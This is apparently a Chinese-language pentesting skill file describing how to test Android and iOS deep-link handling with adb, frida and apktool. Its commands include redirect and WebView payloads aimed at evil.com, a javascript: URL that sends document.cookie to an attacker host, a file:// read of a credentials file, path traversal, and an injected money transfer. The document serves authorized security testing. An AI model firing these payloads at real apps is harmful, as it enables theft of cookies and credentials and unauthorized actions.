| name | exploiting-deeplink-vulnerabilities |
| description | 测试和利用 Android 和 iOS 移动应用程序中的深度链接(URL Scheme 和 App Link)漏洞,识别未授权访问、数据注入、Intent 劫持和重定向操纵。适用于通过自定义 URI Scheme、Android App Links、iOS Universal Links 或基于 Intent 的导航评估移动应用攻击面。适用于深度链接安全测试、URL Scheme 利用、移动端 Intent 滥用或链接劫持等请求场景。
|
| domain | cybersecurity |
| subdomain | mobile-security |
| author | mahipal |
| tags | ["mobile-security","android","ios","deep-links","owasp-mobile","penetration-testing"] |
| version | 1.0.0 |
| license | Apache-2.0 |
利用深度链接漏洞
适用场景
使用此技能的场景:
- 评估移动应用深度链接处理中的注入和重定向漏洞
- 测试 Android Intent 过滤器和 iOS URL Scheme 处理器是否存在未授权访问
- 评估 App Links(Android)和 Universal Links(iOS)验证机制
- 测试通过竞争应用注册实施链接劫持
不适用于:未获得授权的情况 -- 深度链接利用可能在目标应用程序中触发意外操作。
前置条件
- 安装了 ADB 的 Android 设备或安装了 Objection/Frida 的 iOS 设备
- 使用 apktool 或 JADX 反编译 APK 以分析 AndroidManifest.xml
- 了解目标应用程序注册的 URL Scheme 和 Intent 过滤器
- Drozer,用于 Android Intent 测试
- Burp Suite,用于拦截深度链接触发的 API 调用
工作流程
步骤 1:枚举深度链接入口点
Android - 从 AndroidManifest.xml 提取:
apktool d target.apk -o decompiled/
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml
iOS - 从 Info.plist 提取:
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
curl https://target.com/.well-known/apple-app-site-association
步骤 2:测试深度链接注入
通过 ADB 测试 Android:
adb shell am start -a android.intent.action.VIEW \
-d "myapp://dashboard?user_id=1337" com.target.app
adb shell am start -a android.intent.action.VIEW \
-d "myapp://profile?redirect=https://evil.com" com.target.app
adb shell am start -a android.intent.action.VIEW \
-d "myapp://navigate?path=../../../admin" com.target.app
adb shell am start -a android.intent.action.VIEW \
-d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app
adb shell am start -a android.intent.action.VIEW \
-d "myapp://transfer?amount=1000&to=attacker" \
--es extra_param "injected_value" com.target.app
iOS 通过 Safari 或命令行:
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
.openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'
步骤 3:测试链接劫持
Android:
adb shell pm get-app-links com.target.app
步骤 4:测试 WebView 深度链接加载
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"
步骤 5:评估参数验证
测试每个深度链接参数是否存在:
- 在查询本地数据库的参数中存在 SQL 注入
- 文件路径参数中存在路径遍历
- 触发服务器请求的 URL 参数中存在 SSRF
- 通过 user_id 或 session 参数实现认证绕过
核心概念
| 术语 | 定义 |
|---|
| 自定义 URL Scheme | 应用注册的协议(myapp://),调用时路由到特定的应用处理器 |
| App Links(Android) | 经验证的 HTTPS 深度链接,绕过选择对话框,直接在已验证的应用中打开 |
| Universal Links(iOS) | Apple 使用 Web 域名上的 apple-app-site-association JSON 文件进行验证的深度链接机制 |
| Intent 劫持(Intent Hijacking) | 恶意应用通过注册相同的 URL Scheme 或 Intent 过滤器来拦截深度链接 |
| WebView 桥接(WebView Bridge) | 暴露给 WebView 内容的 JavaScript 接口,可能通过深度链接加载的 URL 访问 |
工具与系统
- ADB:Android 命令行工具,通过
am start 调用深度链接
- Drozer:Android 安全框架,用于测试基于 Intent 的攻击面
- apktool:APK 反编译器,用于提取 AndroidManifest.xml 和 Intent 过滤器定义
- Frida:动态插桩工具,用于在运行时钩取 URL Scheme 处理器
- Burp Suite:代理工具,用于拦截深度链接导航触发的 API 调用
常见陷阱
- App Links 验证:具有已验证域名关联的 Android App Links 能抵抗劫持。检查
https://domain/.well-known/assetlinks.json 处的 assetlinks.json。
- Fragment 处理:某些应用处理 URL Fragment(#)的方式与查询参数(?)不同。两者都要测试。
- 编码绕过:对载荷进行 URL 编码,以绕过深度链接处理器中的客户端输入过滤。
- 多步深度链接:某些深度链接需要认证状态。在登录后和登录前都要测试,以评估授权执行情况。